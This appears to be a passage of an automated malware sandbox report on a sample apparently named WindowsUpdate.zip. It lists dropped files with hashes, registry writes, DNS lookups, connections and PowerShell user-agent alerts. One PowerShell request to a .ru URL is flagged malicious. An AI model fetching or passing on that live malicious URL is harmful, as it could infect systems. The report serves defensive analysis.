(PID) Process:(6136) BackgroundTransferHost.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content
Operation:writeName:CachePrefix
Value:
Executable files
0
Suspicious files
12
Text files
10
Unknown types
0

Dropped files

PID
Process
Filename
Type
4812BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c3136517-b508-4167-a462-d55815a8bc04.down_data —
MD5:—
SHA256:—
4812powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:28FF982E0475A7942238023CA7992973
SHA256:B3B88CEAFBFAEE3441B31A579C1FB40910B068E0A7F3D520C049F0ED6A943306
7344powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_eynznmsu.yub.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7344powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:EE8D1A4A31693436A4D4E876B0B37B1B
SHA256:548AD5D2BC7E00F734000A2BBA1EF19693F8732597EA2BBBCAA999CA1CCC1550
7344powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF11391e.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
7344powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jx2a3ubr.fqq.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4812BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c3136517-b508-4167-a462-d55815a8bc04.032ce8cd-d231-4310-9d75-ecceee80f907.down_metabinary
MD5:522F5C2898B469A79F942A4B40F9B76D
SHA256:39DD9806C7C54480E563423BDF2ED0FBBE9AE7CA8483B9070E01AE2EC40F0617
4812powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_s50jbn5o.1oq.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4812powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5spqd45k.wku.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4812powershell.exeC:\Users\admin\Documents\WindowsPowerShell\profile.ps1text
MD5:345616EB44754F1A9A4EDAF2D401FCFD
SHA256:A28C933DCB00FE8036D259E310B30647DA6416D6FA3BAE1CD418497671A15886
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
44
DNS requests
34
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
8168
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
8168
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
7248
backgroundTaskHost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
4156
SystemSettings.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
7020
powershell.exe
GET
302
92.53.96.122:80
http://inx.webtm.ru/file.htm
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
2.16.164.49:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
—
—
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.159.4:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 51.124.78.146
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 2.16.164.49
  • 2.16.164.120
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
google.com
  • 142.250.186.110
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
login.live.com
  • 20.190.159.4
  • 20.190.159.73
  • 20.190.159.64
  • 40.126.31.131
  • 20.190.159.75
  • 40.126.31.0
  • 40.126.31.130
  • 20.190.159.68
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted
fp.msedge.net
  • 204.79.197.222
whitelisted

Threats

PID
Process
Class
Message
7020
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
968
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
No debug info
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Reports
WindowsUpdate[.zip